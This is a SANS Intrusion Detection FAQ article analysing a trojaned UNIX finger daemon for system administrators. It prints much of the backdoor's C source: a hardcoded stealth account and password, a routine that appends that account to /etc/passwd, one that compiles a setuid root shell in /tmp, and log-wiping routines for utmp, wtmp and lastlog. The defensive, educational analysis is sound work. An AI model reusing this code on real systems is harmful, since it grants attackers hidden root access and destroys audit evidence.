2 Days Left to Save $200 on SANS Cyber Defense San Diego 2014

Intrusion Detection FAQ: Analysis of a fingerd replacement

By: Arrigo Triulzi
Last modified: 08/01/2000

A characteristic of some system compromises is that a back door is left allowing the perpetrator to re-enter the system at some later time. These back doors often take the shape of trapdoor system daemons which are installed in place of originals and might be overlooked by a systems administrator when assessing the damage caused by the compromise.

In this article we will analyse one such replacement for the UNIX finger daemon, in.fingerd.

Contents

Brief overview of functionality

This replacement daemon adds the following "functionality" to the standard daemon:
  • cmd_adduser - add special user to the password file (if it doesn't exist)
  • cmd_stealth - 'cloak' the special user (remove from utmp, and wtmp)
  • cmd_deluser - delete the special user from the password file
  • cmd_rootsh - create the root shell
  • cmd_cleanup - delete the special user and erase the root shell
The usage is quite simple, instead of the standard call

$ finger arrigo@somewhere.in.the.uk


you would have

$ finger cmd_stealth@somewhere.in.the.uk 


which would politely wipe your logs removing the traces of the intrusion.

Installation of the back door

The finger daemon is started by inetd by reading the /etc/inetd.conf configuration file. It normally runs with user privilege "nobody" so the first thing which is done when installing a replacement is ensure that it is run as "root". In the words of the author of the replacement version:

* a few minor adjustments of the paths... *BUT* in order for it to work
* it must run as root, so you have to change the following like in
* /etc/inetd.conf
* finger stream tcp nowait nobody      /usr/etc/in.fingerd in.fingerd
* to look like this:
* finger stream tcp nowait root      /usr/etc/in.fingerd in.fingerd
*                                            ^^^^ - THIS IS WHAT YOU CHANGE

This is a change which can be picked up quite easily with a file verification system such as Tripwire.

Analysis of the code

The comments in the code indicate that it has been lifted straight out of the BSD finger daemon and the author was sufficiently polite that he even left the BSD copyright notice in the code!

The first point to note about this kind of software is that often it is extended by different "users" to adapt it to different versions of UNIX than those originally envisaged by the author. At times it is the author himself asking for additional platforms to be supported:

  /* system commands - hey, add your systems here.. */ 
#ifdef LINUX

#define _PATH_FINGER           "/usr/bin/finger"
#define _PATH_COMPILER         "/usr/bin/cc"

#else

#define _PATH_FINGER           "/usr/ucb/finger"
#define _PATH_COMPILER         "/usr/ucb/cc"

#endif

This can actually be an advantage to the victim: not all systems are alike and, in particular in the Linux world, the choice of distribution often determines the location of system files even though the underlying operating system is identical. An excellent example is the following:

/* system files */ 
#define _PATH_PASSWD        "/etc/passwd"
#define _PATH_WTMP                             "/var/run/wtmp"
#define _PATH_UTMP                             "/var/run/utmp"
#define _PATH_LASTLOG                          "/var/log/lastlog"

Which might seem dangerous enough but lets think about it for a second... if the shadow package is installed then passwords are actually kept in /etc/shadow so this particular version of a finger daemon replacement would probably not quite work there. This is true not only for Linux but for a number of systems offering "C2 security".

Returning to the above example: on a Debian GNU/Linux system the utmp file is indeed in /var/run but the wtmp file actually lives in /var/log. Note that this does not mean that this particular system is less vulnerable, it only means that this instance of a trapdoor fingerd daemon would not quite work as expected by the author. We need to distinguish between what is effectively luck and a properly secured system!

Clearly one of the first additions to a rogue finger daemon is a set of files where to store temporary data and perhaps "cloaked" binaries. In this example a modified shell is required and probably downloaded along with the daemon code for compiling. In fact, as we shall later see the cmd_rootsh fake user when sent as a finger request causes this modified shell carried as a payload, to be compiled.

/* our stuff */ 
#define _PATH_TPASSWD            "/tmp/.passwd.%d"
#define _PATH_ROOT_SHELL         "/tmp/.sh"
#define _PATH_TEMP_FILE          "/tmp/.sh.c"
#define _STEALTH_USER            "g0at"
#define _STEALTH_PW              "q1w2e3r4"

Of interest here are the path names. Note that all the files start with a period (hidden file under UNIX) and that they reside in /tmp which on most UNIX boxes is cleared by a reboot. Another notable pathname used for concealing files is "..." which is a valid directory name under UNIX but easily missed by the human eye when running an ls on a compromised directory. Variations of the above are possible and an interesting side-remark is that these also apply also to HTTP requests (cf. recent paper, titled A look at whisker's anti-IDS tactics).

We are now ready to have a look at the main loop of the finger daemon. Remember that as it is started by the inetd daemon with the "nowait" option it is a "fire and forget" daemon to which control is passed each time there is a request. Input simply comes from stdin, the standard input, and is processed until the communication is closed and is assumed to follow the relevant RFC.

Function: main( )



main() 
{
     register FILE *fp;
     register int ch;
     register char *lp;
     int p[2];
#define ENTRIES 50
     char **ap, *av[ENTRIES + 1], line[1024];
     int my_command;
     if (!fgets(line, sizeof(line), stdin))
          exit(1);

     av[0] = "finger";
     for (lp = line, ap = &av[1];;) {
          *ap = (char *) strtok(lp, " \t\r\n");
          if (!*ap)
               break;
          /* RFC742: "/[Ww]" == "-l" */

The line above is probably unchanged from the original BSD source code although, in the interest of making everything appear normal, most trapdoor programs will make sure that they abide by all necessary standards.

All we are doing is parsing the input and checking if we have been asked to provide "long" output.

          if ((*ap)[0] == '/' && ((*ap)[1] == 'W' || (*ap)[1] == 'w'))
               *ap = "-l";
          if (++ap == av + ENTRIES)
               break;
          lp = NULL;
     }

     if (pipe(p) < 0)           fatal("pipe");

A pipe() is usually a pretty good indication that the daemon is about to fork() to do some work. In this case the daemon will fork to run the real daemon, passing the correct arguments to make sure that "normal" finger queries will work as advertised.

     switch(fork()) { 
     case 0:
          (void)close(p[0]);
          if (p[1] != 1) {
               (void)dup2(p[1], 1);
               (void)close(p[1]);
          }
          my_command = is_a_command(av);
          if (my_command < 0)           execv(_PATH_FINGER, av);
          else {
               do_command(my_command);
          }
          _exit(1);
     case -1:
          fatal("fork");
     }

Job done: either we executed the real daemon to process the legitimate finger query or, after checking with is_a_command(av) we go off and run our own rogue commands with do_command(my_command). Notice also the "violent" exit using _exit(1) which terminates immediately without calling any functions registered with the atexit() function call.

All that is left once the fork has succeeded is to read the output of the child process and produce it as the output of our rogue daemon. Note that this also has to provide the two-way communication for our rogue shell. This is left as an exercise for the reader.

Dealing with users

One of the useful things to do once you have compromised a system is to be able to add and remove a user at will, possibly remotely, in such a way that you don't need to leave a permanent user enabled which might be discovered.

This is the main aim of this modified daemon: add a user and then give it a shell. Of notable interest in the comments to the code is that the added user, as we will see, is actually given a uid of 1 and that you are supposed to obtain root privileges by other means! You could of course modify this to add a user with the root uid of 0 but it might be a tad too noticeable.

add_stealth_user()



void add_stealth_user() 
{
     FILE *pw;
     char entry[100];
     char *epw;
     char salt[2];
     struct passwd *pwent;

     pwent = getpwnam(_STEALTH_USER);

     if (pwent != NULL) {
          fprintf(stderr,
          "error: user '%s' already in the password file\n",
          _STEALTH_USER);
          return; /* already in the passwd file. */
     }

Basic check: are we there already? Not a good idea to litter the password file with lots of identical entries.

     srandom(getpid()); 
     salt[0] = (random() % ('Z' - 'A')) + 'A';
     salt[1] = (random() % ('z' - 'a')) + 'a';
     salt[2] = 0;
     epw = (char *) crypt(_STEALTH_PW,salt);

We encrypt our own password with crypt() and then we are ready to add ourselves to the system with a rather brute-force method, i.e. tagging ourselves to the password file. This is the step which would not give access on a box with shadow passwords enabled.

     sprintf(entry,"%s:%s:1:1:HaQr BoB:/:/bin/sh\n",_STEALTH_USER,epw);
     pw = fopen(_PATH_PASSWD,"a");

     if (pw == NULL) {
          fprintf(stderr,
          "error: cannot open password file '%s'\n",_PATH_PASSWD);
          return;
     }

Possibly added to the system, otherwise we get an error message back (remember that the original daemon sends the output of the child back to the caller).

     fprintf(pw,"%s",entry); 

     fclose(pw);
}

Now that we've added a user we need the converse, I've removed the basic error checking for brevity but clearly you don't want to remove a user which isn't there.

remove_stealth_user()



     void remove_stealth_user() 
     {
          FILE *tpw;
          FILE *pw;
          char input[150];
          char tinput[150];
          char tfile[100];
          char *login;
          struct passwd *pwent;
...
          sprintf(tfile,_PATH_TPASSWD,getpid());
          tpw = fopen(tfile,"w");
          if (tpw == NULL) {
          fprintf(stderr,"error: cannot open '%s'\n",tfile);
          return;
     }
     pw = fopen(_PATH_PASSWD,"r");
     if (pw == NULL) {
          fprintf(stderr,"error: cannot open '%s'\n",_PATH_PASSWD);
          return;
     }

So, what are we doing here? We are opening our hidden password file, our normal password file and then we simply copy over line by line except our hidden user id.

     /* copy over the real password file.. */ 
     while(!feof(pw)) {
          fgets(input,150,pw);
          if (feof(pw))
               break;
          strncpy(tinput,input,149);
          login = (char *) strtok(tinput,":");
          if (strcmp(_STEALTH_USER,login)) {
               fprintf(tpw,"%s",input);
          }
     }
     fclose(pw);
     fclose(tpw);

Now a little care is needed, as the comments indicate if the filesystems are different we cannot just link the file over but we need to move it. Rather inelegantly it is just moved across with the UNIX mv command opening up another possible "porting" problem. Also, the "correct" file permissions need not necessarily be so, another hint of something amiss.

     /* ok, now we need to copy it over.. we can't use a link because */ 
     /* /tmp and /etc might be different file systems */

     /* set correct file perms.. */
     chown(tfile,0,0);
     chmod(tfile,00644);

     /* now move it over */
     sprintf(tinput,"%s -f %s %s",_PATH_MV,tfile,_PATH_PASSWD);
     system(tinput);

A little "panic mode" extra...

     /* just in case it fails.. */
     unlink(tfile);
}

Overall the above is not particularly complicated and I would like to repeat once again that this behaviour would have been spotted by Tripwire and other similar tools. Even if the modification had taken place between two runs, i.e. addition and removal of the stealth user, the checksums and logs kept by these tools would notice the file being touched. This is not always the case, file modification can be hidden so these tools alone are not enough to secure your system but need to be part of an overall strategy.

Getting a root shell

So far we have functions to manipulate, albeit clumsily, the password file but the end task of a backdoor is to provide unlimited access to a root shell.

First of all remember the modification to the inetd configuration file which was suggested by the comments in the code. We need our fingerd to run as root to get a root shell otherwise we would just get a shell with privileges set to "nobody", not quite the same.

The overall structure is that we compile a special shell which will then allow us to become root as often as we wish. The shell code is actually kept as a payload within the fingerd code and written to a temporary file which is then compiled and installed. This function makes quite a few assumptions which are valid on most UNIX systems but, once again, might fail on some. It most definitely would give a root shell on a Linux system and on the original target, a SunOS (BSD-based) system.

create_root_shell( )



void create_root_shell() 
{
     FILE *tf;
     char cmd_line[100];

     tf = fopen(_PATH_TEMP_FILE,"w");
     if (tf == NULL) {
          fprintf(stderr,"error: cannot create temp file\n");
          return;
     }

     fprintf(tf,
          "main(){setuid(0);setgid(0);execl
          (\"/bin/sh\",\"-sh\",(char *)0);}");
     fclose(tf);

So, we've opened our temporary file, making sure that we use a naming convention which will make it just a little harder to find with a quick glance at an output from the ls command. We write our code to the file and then compile it. The educated guess of /usr/bin/cc under Linux is a pretty good one for a compiler.

     sprintf(cmd_line, 
          "%s -s -o %s %s",
          _PATH_COMPILER,_PATH_ROOT_SHELL,_PATH_TEMP_FILE);
     system(cmd_line);

OK, so we now have an executable which will deliver us a root shell sitting in our "hidden" place. Now a little cleanup and making sure that the shell executable has all the correct bits set (04755 gives us a setuid bit).

     unlink(_PATH_TEMP_FILE); 
     chown(_PATH_ROOT_SHELL,0,0);
     chmod(_PATH_ROOT_SHELL,04755);
}

This is clearly the "obtaining root by other means" mentioned earlier. As long as this function has been run any user can become root by running the shell kept in _PATH_ROOT_SHELL.

Wiping the logs

Finally we need to hide our actions. The way the author attempts to do this is to clean out the entries in the user accounting files. Two functions doing essentially the same thing on two different files.

Zap2( )


This is the function which is called on receiving the cmd_deluser request. Simply branches off to the more interesting sub-functions below.

/* 'Zap2!'s main line */ 
void Zap2()
{
     kill_lastlog();
     kill_wtmp();
     kill_utmp();
}

kill_utmp( )


Straightforward implementation of a log wipe: open the log, find the entry which corresponds to our stealth user id, create an empty record using bzero() and then backspace in the file writing this empty record in place of the original one.

/* stolen from 'Zap2!' */ 
void kill_utmp()
{
     struct utmp utmp_ent;

     if ((f=open(_PATH_UTMP,O_RDWR))>=0) {
          while(read (f, &utmp_ent, sizeof
               (utmp_ent))> 0 )
               if (!strncmp(utmp_ent.ut_name,
               _STEALTH_USER,strlen(_STEALTH_USER))) {
                    bzero((char *)&utmp_ent,
                    sizeof( utmp_ent ));
                    lseek (f, -(sizeof (utmp_ent)),
                    SEEK_CUR);
                    write (f, &utmp_ent, sizeof (
                    utmp_ent));
               }
          close(f);
     }
}

kill_wtmp( )


Essentially the same as the previous example, with the slight difference that wtmp stores all the logins and logouts of the system utmp records who is currently on the system (Side note: this is why sometimes you get different output from w and finger: one relies on the record of logins and logouts to determine who is currently on the system, the other trusts utmp blindly).

/* stolen from 'Zap2!' */ 
void kill_wtmp()
{
     struct utmp utmp_ent;
     long pos;

     pos = 1L;
     if ((f=open(_PATH_WTMP,O_RDWR))>=0) {
          while(pos != -1L) {
               lseek(f,-(long)( (sizeof
               (struct utmp)) * pos),L_XTND);
               if (read (f, &utmp_ent, sizeof
               (struct utmp))<0) { pos = -1L

The idea here is that we seek from the end back into the file and on error we try again. Note that L_XTND is the "archaic" form of the current SEEK_END. The rest of the if statement takes care of wiping the login entry as the first entry found was the logout one (remember: we are working backwards into the file).

          } else { 
               if (!strncmp(utmp_ent.ut_name,
               _STEALTH_USER,strlen(_STEALTH_USER))) {
                    bzero((char *)&utmp_ent,sizeof(
                         struct utmp ));
                    lseek(f,-( (sizeof(struct utmp))
                    * pos),L_XTND);
                    write (f, &utmp_ent, sizeof
                    (utmp_ent));
                    pos = -1L;
               } else pos += 1L;
          }
     }
     close(f);
}

kill_lastlog( )


Finally we have to wipe the records for the last login and last failed login which are stored in lastlog. Almost the same as above with the minor difference in the structure which needs erasing.

/* stolen from 'Zap2!' */ 
void kill_lastlog()
{
     struct passwd *pwd;
     struct lastlog newll;

     if ((pwd=getpwnam(_STEALTH_USER))!=NULL) {
          if ((f=open(_PATH_LASTLOG, O_RDWR)) >= 0) {
               lseek(f, (long)pwd->pw_uid * sizeof
               (struct lastlog), 0);
               bzero((char *)&newll,sizeof( newll ));
               write(f, (char *)&newll, sizeof( newll ));
               close(f);
          }
     }
}

Having dealt with the logs all that remains are the ancillary functions dealing with the interpretation of the arguments and branching off to perform the required operations.

Ancillary functions


clean_up_mess( )


Quite simple called as an action for the cmd_cleanup request which simply removes the stealth user and wipes the special root shell.

void clean_up_mess() 
{
     remove_stealth_user();
     unlink(_PATH_ROOT_SHELL);
}

is_a_command( )


This function, along with check_command() checks if we have a two-line argument, if so splits it and then checks each line separately to see if it is one of the additional commands.

int is_a_command(char *cmd_line[]) 
{
     if (cmd_line[1] == NULL) {
          return -1;
     }
     if (cmd_line[2] == NULL) {
          return check_command(cmd_line[1]);
     } else {
          return check_command(cmd_line[2]);
     }
}

Function: check_command( )


This is a simple function which just checks if the argument passed to finger matches one of the additional commands which were defined previously.

int check_command(char *cmd) 
{
     ...
}

fatal( )


Trivial little error message function...

fatal(char *msg) 
{
...
     exit(1);
}

do_command( )


This is the "branching function" which executes the required command.

void do_command(int cmd) 
{
     switch(cmd) {
     case cmd_adduser:
          add_stealth_user();
          break;
     case cmd_stealth:
          Zap2();
          break;
     case cmd_deluser:
          remove_stealth_user();
          break;
     case cmd_rootsh:
          create_root_shell();
          break;
     case cmd_cleanup:
          clean_up_mess();
          break;
     }
}

Conclusion

It is my hope that the analysis of this code will allow systems administrators to better understand some of the techniques which are used on systems being compromised. This is only a simple example but hopefully still valuable. Please note that the code is not complete and pasting the bits and pieces together will not get you working code...